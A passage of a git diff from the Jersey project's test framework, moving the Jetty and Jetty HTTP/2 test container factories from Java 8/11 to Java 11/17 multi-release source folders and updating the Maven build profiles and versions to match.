-                                            <zipfileset dir="${java11.sourceDirectory}" prefix="META-INF/versions/11"/>
+                                            <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
                                         </zip>
                                     </target>
                                 </configuration>
@@ -188,4 +191,4 @@
         </profile>
     </profiles>
 
-</project>
+</project>
\ No newline at end of file
diff --git a/test-framework/providers/jetty-http2/src/main/java/org/glassfish/jersey/test/jetty/http2/package-info.java b/test-framework/providers/jetty-http2/src/main/java/org/glassfish/jersey/test/jetty/http2/package-info.java
index cd4980f..22e0a3c 100644
--- a/test-framework/providers/jetty-http2/src/main/java/org/glassfish/jersey/test/jetty/http2/package-info.java
+++ b/test-framework/providers/jetty-http2/src/main/java/org/glassfish/jersey/test/jetty/http2/package-info.java
@@ -15,6 +15,6 @@
  */
 
 /**
- * Jersey test framework for Jetty HTTP/2 Container.
+ * Jersey test framework for Jetty 11 HTTP/2 Container.
  */
 package org.glassfish.jersey.test.jetty.http2;
diff --git a/test-framework/providers/jetty-http2/src/main/java11/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java b/test-framework/providers/jetty-http2/src/main/java11/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
index e63f057..44fa02a 100644
--- a/test-framework/providers/jetty-http2/src/main/java11/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
+++ b/test-framework/providers/jetty-http2/src/main/java11/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
@@ -16,111 +16,21 @@
 
 package org.glassfish.jersey.test.jetty.http2;
 
-import java.net.URI;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.core.UriBuilder;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.jetty.http2.JettyHttp2ContainerFactory;
+import jakarta.ws.rs.ProcessingException;
+import org.glassfish.jersey.jetty.http2.LocalizationMessages;
 import org.glassfish.jersey.test.DeploymentContext;
 import org.glassfish.jersey.test.spi.TestContainer;
-import org.glassfish.jersey.test.spi.TestContainerException;
 import org.glassfish.jersey.test.spi.TestContainerFactory;
-import org.glassfish.jersey.test.spi.TestHelper;
 
-import org.eclipse.jetty.server.Connector;
-import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.server.ServerConnector;
-
+import java.net.URI;
 /**
  * Factory for testing {@link JettyHttp2ContainerFactory}.
  *
  */
 public final class JettyHttp2TestContainerFactory implements TestContainerFactory {
 
-    private static class JettyHttp2TestContainer implements TestContainer {
-
-        private static final Logger LOGGER = Logger.getLogger(JettyHttp2TestContainer.class.getName());
-
-        private URI baseUri;
-        private final Server server;
-
-        private JettyHttp2TestContainer(final URI baseUri, final DeploymentContext context) {
-            final URI base = UriBuilder.fromUri(baseUri).path(context.getContextPath()).build();
-
-            if (!"/".equals(base.getRawPath())) {
-                throw new TestContainerException(String.format(
-                        "Cannot deploy on %s. Jetty HTTP2 container only supports deployment on root path.",
-                        base.getRawPath()));
-            }
-
-            this.baseUri = base;
-
-            if (LOGGER.isLoggable(Level.INFO)) {
-                LOGGER.info("Creating JettyHttp2TestContainer configured at the base URI "
-                        + TestHelper.zeroPortToAvailablePort(baseUri));
-            }
-
-            this.server = JettyHttp2ContainerFactory.createHttp2Server(this.baseUri, context.getResourceConfig(), false);
-        }
-
-        @Override
-        public ClientConfig getClientConfig() {
-            return null;
-        }
-
-        @Override
-        public URI getBaseUri() {
-            return baseUri;
-        }
-
-        @Override
-        public void start() {
-            if (server.isStarted()) {
-                LOGGER.log(Level.WARNING, "Ignoring start request - JettyHttp2TestContainer is already started.");
-            } else {
-                LOGGER.log(Level.FINE, "Starting JettyHttp2TestContainer...");
-                try {
-                    server.start();
-
-                    if (baseUri.getPort() == 0) {
-                        int port = 0;
-                        for (final Connector connector : server.getConnectors()) {
-                            if (connector instanceof ServerConnector) {
-                                port = ((ServerConnector) connector).getLocalPort();
-                                break;
-                            }
-                        }
-
-                        baseUri = UriBuilder.fromUri(baseUri).port(port).build();
-
-                        LOGGER.log(Level.INFO, "Started JettyHttp2TestContainer at the base URI " + baseUri);
-                    }
-                } catch (Exception e) {
-                    throw new TestContainerException(e);
-                }
-            }
-        }
-
-        @Override
-        public void stop() {
-            if (server.isStarted()) {
-                LOGGER.log(Level.FINE, "Stopping JettyHttp2TestContainer...");
-                try {
-                    this.server.stop();
-                } catch (Exception ex) {
-                    LOGGER.log(Level.WARNING, "Error Stopping JettyHttp2TestContainer...", ex);
-                }
-            } else {
-                LOGGER.log(Level.WARNING, "Ignoring stop request - JettyHttp2TestContainer is already stopped.");
-            }
-        }
-    }
-
     @Override
     public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException {
-        return new JettyHttp2TestContainer(baseUri, context);
+        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
     }
 }
diff --git a/test-framework/providers/jetty-http2/src/main/java17/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java b/test-framework/providers/jetty-http2/src/main/java17/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
new file mode 100644
index 0000000..e63f057
--- /dev/null
+++ b/test-framework/providers/jetty-http2/src/main/java17/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.test.jetty.http2;
+
+import java.net.URI;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.jetty.http2.JettyHttp2ContainerFactory;
+import org.glassfish.jersey.test.DeploymentContext;
+import org.glassfish.jersey.test.spi.TestContainer;
+import org.glassfish.jersey.test.spi.TestContainerException;
+import org.glassfish.jersey.test.spi.TestContainerFactory;
+import org.glassfish.jersey.test.spi.TestHelper;
+
+import org.eclipse.jetty.server.Connector;
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.server.ServerConnector;
+
+/**
+ * Factory for testing {@link JettyHttp2ContainerFactory}.
+ *
+ */
+public final class JettyHttp2TestContainerFactory implements TestContainerFactory {
+
+    private static class JettyHttp2TestContainer implements TestContainer {
+
+        private static final Logger LOGGER = Logger.getLogger(JettyHttp2TestContainer.class.getName());
+
+        private URI baseUri;
+        private final Server server;
+
+        private JettyHttp2TestContainer(final URI baseUri, final DeploymentContext context) {
+            final URI base = UriBuilder.fromUri(baseUri).path(context.getContextPath()).build();
+
+            if (!"/".equals(base.getRawPath())) {
+                throw new TestContainerException(String.format(
+                        "Cannot deploy on %s. Jetty HTTP2 container only supports deployment on root path.",
+                        base.getRawPath()));
+            }
+
+            this.baseUri = base;
+
+            if (LOGGER.isLoggable(Level.INFO)) {
+                LOGGER.info("Creating JettyHttp2TestContainer configured at the base URI "
+                        + TestHelper.zeroPortToAvailablePort(baseUri));
+            }
+
+            this.server = JettyHttp2ContainerFactory.createHttp2Server(this.baseUri, context.getResourceConfig(), false);
+        }
+
+        @Override
+        public ClientConfig getClientConfig() {
+            return null;
+        }
+
+        @Override
+        public URI getBaseUri() {
+            return baseUri;
+        }
+
+        @Override
+        public void start() {
+            if (server.isStarted()) {
+                LOGGER.log(Level.WARNING, "Ignoring start request - JettyHttp2TestContainer is already started.");
+            } else {
+                LOGGER.log(Level.FINE, "Starting JettyHttp2TestContainer...");
+                try {
+                    server.start();
+
+                    if (baseUri.getPort() == 0) {
+                        int port = 0;
+                        for (final Connector connector : server.getConnectors()) {
+                            if (connector instanceof ServerConnector) {
+                                port = ((ServerConnector) connector).getLocalPort();
+                                break;
+                            }
+                        }
+
+                        baseUri = UriBuilder.fromUri(baseUri).port(port).build();
+
+                        LOGGER.log(Level.INFO, "Started JettyHttp2TestContainer at the base URI " + baseUri);
+                    }
+                } catch (Exception e) {
+                    throw new TestContainerException(e);
+                }
+            }
+        }
+
+        @Override
+        public void stop() {
+            if (server.isStarted()) {
+                LOGGER.log(Level.FINE, "Stopping JettyHttp2TestContainer...");
+                try {
+                    this.server.stop();
+                } catch (Exception ex) {
+                    LOGGER.log(Level.WARNING, "Error Stopping JettyHttp2TestContainer...", ex);
+                }
+            } else {
+                LOGGER.log(Level.WARNING, "Ignoring stop request - JettyHttp2TestContainer is already stopped.");
+            }
+        }
+    }
+
+    @Override
+    public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException {
+        return new JettyHttp2TestContainer(baseUri, context);
+    }
+}
diff --git a/test-framework/providers/jetty-http2/src/main/java8/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java b/test-framework/providers/jetty-http2/src/main/java8/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
deleted file mode 100644
index 44fa02a..0000000
--- a/test-framework/providers/jetty-http2/src/main/java8/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.test.jetty.http2;
-
-import jakarta.ws.rs.ProcessingException;
-import org.glassfish.jersey.jetty.http2.LocalizationMessages;
-import org.glassfish.jersey.test.DeploymentContext;
-import org.glassfish.jersey.test.spi.TestContainer;
-import org.glassfish.jersey.test.spi.TestContainerFactory;
-
-import java.net.URI;
-/**
- * Factory for testing {@link JettyHttp2ContainerFactory}.
- *
- */
-public final class JettyHttp2TestContainerFactory implements TestContainerFactory {
-
-    @Override
-    public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-}
diff --git a/test-framework/providers/jetty-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory b/test-framework/providers/jetty-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory
index 42b7847..63ba6bf 100644
--- a/test-framework/providers/jetty-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory
+++ b/test-framework/providers/jetty-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory
@@ -1 +1 @@
-org.glassfish.jersey.test.jetty.http2.JettyHttp2TestContainerFactory
\ No newline at end of file
+org.glassfish.jersey.test.jetty.http2.JettyHttp2TestContainerFactory
diff --git a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties b/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties
similarity index 98%
rename from test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
rename to test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties
index 2886c72..f10b03c 100644
--- a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
+++ b/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties
@@ -15,4 +15,4 @@
 #
 
 # {0} - status code; {1} - status reason message
-not.supported=Jetty container is not supported on JDK version less than 11.
+not.supported=Jetty container is not supported on JDK version less than 17.
diff --git a/test-framework/providers/jetty-http2/src/test/java/org/glassfish/jersey/test/jetty/http2/AvailablePortJettyTest.java b/test-framework/providers/jetty-http2/src/test/java/org/glassfish/jersey/test/jetty/http2/AvailablePortJettyTest.java
index 1964156..541f193 100644
--- a/test-framework/providers/jetty-http2/src/test/java/org/glassfish/jersey/test/jetty/http2/AvailablePortJettyTest.java
+++ b/test-framework/providers/jetty-http2/src/test/java/org/glassfish/jersey/test/jetty/http2/AvailablePortJettyTest.java
@@ -23,7 +23,6 @@
 import org.glassfish.jersey.test.DeploymentContext;
 import org.glassfish.jersey.test.JerseyTest;
 import org.glassfish.jersey.test.TestProperties;
-import org.glassfish.jersey.test.jetty.http2.JettyHttp2TestContainerFactory;
 import org.glassfish.jersey.test.spi.TestContainerFactory;
 
 import org.junit.jupiter.api.Test;
diff --git a/test-framework/providers/jetty/pom.xml b/test-framework/providers/jetty/pom.xml
index 7e5e861..f7c6353 100644
--- a/test-framework/providers/jetty/pom.xml
+++ b/test-framework/providers/jetty/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,7 +21,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -42,58 +42,29 @@
             <artifactId>jersey-container-jetty-http</artifactId>
             <version>${project.version}</version>
         </dependency>
+        <dependency>
+            <groupId>org.slf4j</groupId>
+            <artifactId>slf4j-api</artifactId>
+            <version>${slf4j.version}</version>
+        </dependency>
     </dependencies>
 
     <properties>
-        <java8.build.outputDirectory>${project.basedir}/target</java8.build.outputDirectory>
-        <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory>
-        <java11.build.outputDirectory>${project.basedir}/target11</java11.build.outputDirectory>
+        <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
         <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
+        <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
+        <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
     </properties>
 
     <profiles>
         <profile>
             <id>JettyExclude</id>
             <activation>
-                <jdk>1.8</jdk>
+                <jdk>[11,17)</jdk>
             </activation>
-            <build>
-                <directory>${java8.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java8.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/test/jetty/*.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>Jetty11</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
+            <properties>
+                <jetty.version>${jetty11.version}</jetty.version>
+            </properties>
             <build>
                 <directory>${java11.build.outputDirectory}</directory>
                 <plugins>
@@ -114,17 +85,54 @@
                             </execution>
                         </executions>
                     </plugin>
+                    <plugin>
+                        <groupId>org.apache.maven.plugins</groupId>
+                        <artifactId>maven-compiler-plugin</artifactId>
+                        <configuration>
+                            <testExcludes>
+                                <testExclude>org/glassfish/jersey/test/jetty/*.java</testExclude>
+                            </testExcludes>
+                        </configuration>
+                    </plugin>
                 </plugins>
             </build>
         </profile>
         <profile>
-            <id>copyJDK11FilesToMultiReleaseJar</id>
+            <id>Jetty17</id>
+            <activation>
+                <jdk>[17,)</jdk>
+            </activation>
+            <build>
+                <directory>${java17.build.outputDirectory}</directory>
+                <plugins>
+                    <plugin>
+                        <groupId>org.codehaus.mojo</groupId>
+                        <artifactId>build-helper-maven-plugin</artifactId>
+                        <executions>
+                            <execution>
+                                <phase>generate-sources</phase>
+                                <goals>
+                                    <goal>add-source</goal>
+                                </goals>
+                                <configuration>
+                                    <sources>
+                                        <source>${java17.sourceDirectory}</source>
+                                    </sources>
+                                </configuration>
+                            </execution>
+                        </executions>
+                    </plugin>
+                </plugins>
+            </build>
+        </profile>
+        <profile>
+            <id>copyJDK17FilesToMultiReleaseJar</id>
             <activation>
                 <file>
                     <!-- ${java11.build.outputDirectory} does not work here -->
-                    <exists>target11/classes/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.class</exists>
+                    <exists>target17/classes/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.class</exists>
                 </file>
-                <jdk>1.8</jdk>
+                <jdk>[11,17)</jdk>
             </activation>
             <build>
                 <plugins>
@@ -145,16 +153,16 @@
                         <inherited>true</inherited>
                         <executions>
                             <execution>
-                                <id>copy-jdk11-classes</id>
+                                <id>copy-jdk17-classes</id>
                                 <phase>prepare-package</phase>
                                 <goals>
                                     <goal>copy-resources</goal>
                                 </goals>
                                 <configuration>
-                                    <outputDirectory>${java8.build.outputDirectory}/classes/META-INF/versions/11</outputDirectory>
+                                    <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
                                     <resources>
                                         <resource>
-                                            <directory>${java11.build.outputDirectory}/classes</directory>
+                                            <directory>${java17.build.outputDirectory}/classes</directory>
                                         </resource>
                                     </resources>
                                 </configuration>
@@ -166,14 +174,14 @@
                         <artifactId>maven-antrun-plugin</artifactId>
                         <executions>
                             <execution>
-                                <id>copy-jdk11-sources</id>
+                                <id>copy-jdk17-sources</id>
                                 <phase>package</phase>
                                 <configuration>
                                     <target>
-                                        <property name="sources-jar" value="${java8.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
+                                        <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
                                         <echo>sources-jar: ${sources-jar}</echo>
                                         <zip destfile="${sources-jar}" update="true">
-                                            <zipfileset dir="${java11.sourceDirectory}" prefix="META-INF/versions/11"/>
+                                            <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
                                         </zip>
                                     </target>
                                 </configuration>
diff --git a/test-framework/providers/jetty/src/main/java11/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java b/test-framework/providers/jetty/src/main/java11/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java
index 6c044e5..16be885 100644
--- a/test-framework/providers/jetty/src/main/java11/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java
+++ b/test-framework/providers/jetty/src/main/java11/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,148 +16,26 @@
 
 package org.glassfish.jersey.test.jetty;
 
-import java.net.URI;
 import java.util.Map;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.core.UriBuilder;
-
-import org.eclipse.jetty.server.HttpConnectionFactory;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.jetty.JettyHttpContainerFactory;
+import jakarta.ws.rs.ProcessingException;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
 import org.glassfish.jersey.test.DeploymentContext;
 import org.glassfish.jersey.test.spi.TestContainer;
-import org.glassfish.jersey.test.spi.TestContainerException;
 import org.glassfish.jersey.test.spi.TestContainerFactory;
-import org.glassfish.jersey.test.spi.TestHelper;
 
-import org.eclipse.jetty.server.Connector;
-import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.server.ServerConnector;
+import java.net.URI;
 
-/**
- * Factory for testing {@link org.glassfish.jersey.jetty.JettyHttpContainer}.
- *
- * @author Arul Dhesiaseelan (aruld@acm.org)
- * @author Marek Potociar
- */
 public class JettyTestContainerFactory implements TestContainerFactory {
 
-    private final Map<String, Object> propertiesMap;
-
-    private static class JettyTestContainer implements TestContainer {
-
-        private static final Logger LOGGER = Logger.getLogger(JettyTestContainer.class.getName());
-
-        private final Map<String, Object> propertiesMap;
-
-        private URI baseUri;
-        private final Server server;
-        private JettyTestContainer(final URI baseUri, final DeploymentContext context, final Map<String, Object> propertiesMap) {
-            final URI base = UriBuilder.fromUri(baseUri).path(context.getContextPath()).build();
-
-            this.propertiesMap = propertiesMap;
-
-            if (!"/".equals(base.getRawPath())) {
-                throw new TestContainerException(String.format(
-                        "Cannot deploy on %s. Jetty HTTP container only supports deployment on root path.",
-                        base.getRawPath()));
-            }
-
-            this.baseUri = base;
-
-            if (LOGGER.isLoggable(Level.INFO)) {
-                LOGGER.info("Creating JettyTestContainer configured at the base URI "
-                        + TestHelper.zeroPortToAvailablePort(baseUri));
-            }
-
-            this.server = JettyHttpContainerFactory.createServer(this.baseUri, context.getResourceConfig(), false);
-        }
-
-        @Override
-        public void configureContainer() {
-
-            if (propertiesMap == null
-                    || !propertiesMap.containsKey(JettyTestContainerProperties.HEADER_SIZE)) {
-                return;
-            }
-
-            for (Connector c : server.getConnectors()) {
-                c.getConnectionFactory(HttpConnectionFactory.class)
-                        .getHttpConfiguration().setRequestHeaderSize(
-                                (Integer) propertiesMap.get(JettyTestContainerProperties.HEADER_SIZE));
-                c.getConnectionFactory(HttpConnectionFactory.class)
-                        .getHttpConfiguration().setResponseHeaderSize(
-                                (Integer) propertiesMap.get(JettyTestContainerProperties.HEADER_SIZE));
-                c.getConnectionFactory(HttpConnectionFactory.class);
-            }
-
-        }
-
-        @Override
-        public ClientConfig getClientConfig() {
-            return null;
-        }
-
-        @Override
-        public URI getBaseUri() {
-            return baseUri;
-        }
-
-        @Override
-        public void start() {
-            if (server.isStarted()) {
-                LOGGER.log(Level.WARNING, "Ignoring start request - JettyTestContainer is already started.");
-            } else {
-                LOGGER.log(Level.FINE, "Starting JettyTestContainer...");
-                try {
-                    server.start();
-
-                    if (baseUri.getPort() == 0) {
-                        int port = 0;
-                        for (final Connector connector : server.getConnectors()) {
-                            if (connector instanceof ServerConnector) {
-                                port = ((ServerConnector) connector).getLocalPort();
-                                break;
-                            }
-                        }
-
-                        baseUri = UriBuilder.fromUri(baseUri).port(port).build();
-
-                        LOGGER.log(Level.INFO, "Started JettyTestContainer at the base URI " + baseUri);
-                    }
-                } catch (Exception e) {
-                    throw new TestContainerException(e);
-                }
-            }
-        }
-
-        @Override
-        public void stop() {
-            if (server.isStarted()) {
-                LOGGER.log(Level.FINE, "Stopping JettyTestContainer...");
-                try {
-                    this.server.stop();
-                } catch (Exception ex) {
-                    LOGGER.log(Level.WARNING, "Error Stopping JettyTestContainer...", ex);
-                }
-            } else {
-                LOGGER.log(Level.WARNING, "Ignoring stop request - JettyTestContainer is already stopped.");
-            }
-        }
-    }
-
-    @Override
-    public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException {
-        return new JettyTestContainer(baseUri, context, propertiesMap);
-    }
-
     public JettyTestContainerFactory() {
-        this(null);
     }
 
     public JettyTestContainerFactory(Map<String, Object> properties) {
-        this.propertiesMap = properties;
+    }
+
+
+    @Override
+    public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException {
+        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
     }
 }
diff --git a/test-framework/providers/jetty/src/main/java17/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java b/test-framework/providers/jetty/src/main/java17/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java
new file mode 100644
index 0000000..1af49d5
--- /dev/null
+++ b/test-framework/providers/jetty/src/main/java17/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java
@@ -0,0 +1,163 @@
+/*
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.test.jetty;
+
+import java.net.URI;
+import java.util.Map;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.eclipse.jetty.server.HttpConnectionFactory;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.jetty.JettyHttpContainerFactory;
+import org.glassfish.jersey.test.DeploymentContext;
+import org.glassfish.jersey.test.spi.TestContainer;
+import org.glassfish.jersey.test.spi.TestContainerException;
+import org.glassfish.jersey.test.spi.TestContainerFactory;
+import org.glassfish.jersey.test.spi.TestHelper;
+
+import org.eclipse.jetty.server.Connector;
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.server.ServerConnector;
+
+/**
+ * Factory for testing {@link org.glassfish.jersey.jetty.JettyHttpContainer}.
+ *
+ * @author Arul Dhesiaseelan (aruld@acm.org)
+ * @author Marek Potociar
+ */
+public class JettyTestContainerFactory implements TestContainerFactory {
+
+    private final Map<String, Object> propertiesMap;
+
+    private static class JettyTestContainer implements TestContainer {
+
+        private static final Logger LOGGER = Logger.getLogger(JettyTestContainer.class.getName());
+
+        private final Map<String, Object> propertiesMap;
+
+        private URI baseUri;
+        private final Server server;
+        private JettyTestContainer(final URI baseUri, final DeploymentContext context, final Map<String, Object> propertiesMap) {
+            final URI base = UriBuilder.fromUri(baseUri).path(context.getContextPath()).build();
+
+            this.propertiesMap = propertiesMap;
+
+            if (!"/".equals(base.getRawPath())) {
+                throw new TestContainerException(String.format(
+                        "Cannot deploy on %s. Jetty HTTP container only supports deployment on root path.",
+                        base.getRawPath()));
+            }
+
+            this.baseUri = base;
+
+            if (LOGGER.isLoggable(Level.INFO)) {
+                LOGGER.info("Creating JettyTestContainer configured at the base URI "
+                        + TestHelper.zeroPortToAvailablePort(baseUri));
+            }
+
+            this.server = JettyHttpContainerFactory.createServer(this.baseUri, context.getResourceConfig(), false);
+        }
+
+        @Override
+        public void configureContainer() {
+
+            if (propertiesMap == null
+                    || !propertiesMap.containsKey(JettyTestContainerProperties.HEADER_SIZE)) {
+                return;
+            }
+
+            for (Connector c : server.getConnectors()) {
+                c.getConnectionFactory(HttpConnectionFactory.class)
+                        .getHttpConfiguration().setRequestHeaderSize(
+                                (Integer) propertiesMap.get(JettyTestContainerProperties.HEADER_SIZE));
+                c.getConnectionFactory(HttpConnectionFactory.class)
+                        .getHttpConfiguration().setResponseHeaderSize(
+                                (Integer) propertiesMap.get(JettyTestContainerProperties.HEADER_SIZE));
+                c.getConnectionFactory(HttpConnectionFactory.class);
+            }
+
+        }
+
+        @Override
+        public ClientConfig getClientConfig() {
+            return null;
+        }
+
+        @Override
+        public URI getBaseUri() {
+            return baseUri;
+        }
+
+        @Override
+        public void start() {
+            if (server.isStarted()) {
+                LOGGER.log(Level.WARNING, "Ignoring start request - JettyTestContainer is already started.");
+            } else {
+                LOGGER.log(Level.FINE, "Starting JettyTestContainer...");
+                try {
+                    server.start();
+
+                    if (baseUri.getPort() == 0) {
+                        int port = 0;
+                        for (final Connector connector : server.getConnectors()) {
+                            if (connector instanceof ServerConnector) {
+                                port = ((ServerConnector) connector).getLocalPort();
+                                break;
+                            }
+                        }
+
+                        baseUri = UriBuilder.fromUri(baseUri).port(port).build();
+
+                        LOGGER.log(Level.INFO, "Started JettyTestContainer at the base URI " + baseUri);
+                    }
+                } catch (Exception e) {
+                    throw new TestContainerException(e);
+                }
+            }
+        }
+
+        @Override
+        public void stop() {
+            if (server.isStarted()) {
+                LOGGER.log(Level.FINE, "Stopping JettyTestContainer...");
+                try {
+                    this.server.stop();
+                } catch (Exception ex) {
+                    LOGGER.log(Level.WARNING, "Error Stopping JettyTestContainer...", ex);
+                }
+            } else {
+                LOGGER.log(Level.WARNING, "Ignoring stop request - JettyTestContainer is already stopped.");
+            }
+        }
+    }
+
+    @Override
+    public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException {
+        return new JettyTestContainer(baseUri, context, propertiesMap);
+    }
+
+    public JettyTestContainerFactory() {
+        this(null);
+    }
+
+    public JettyTestContainerFactory(Map<String, Object> properties) {
+        this.propertiesMap = properties;
+    }
+}
\ No newline at end of file
diff --git a/test-framework/providers/jetty/src/main/java8/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java b/test-framework/providers/jetty/src/main/java8/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java
deleted file mode 100644
index cd2e332..0000000
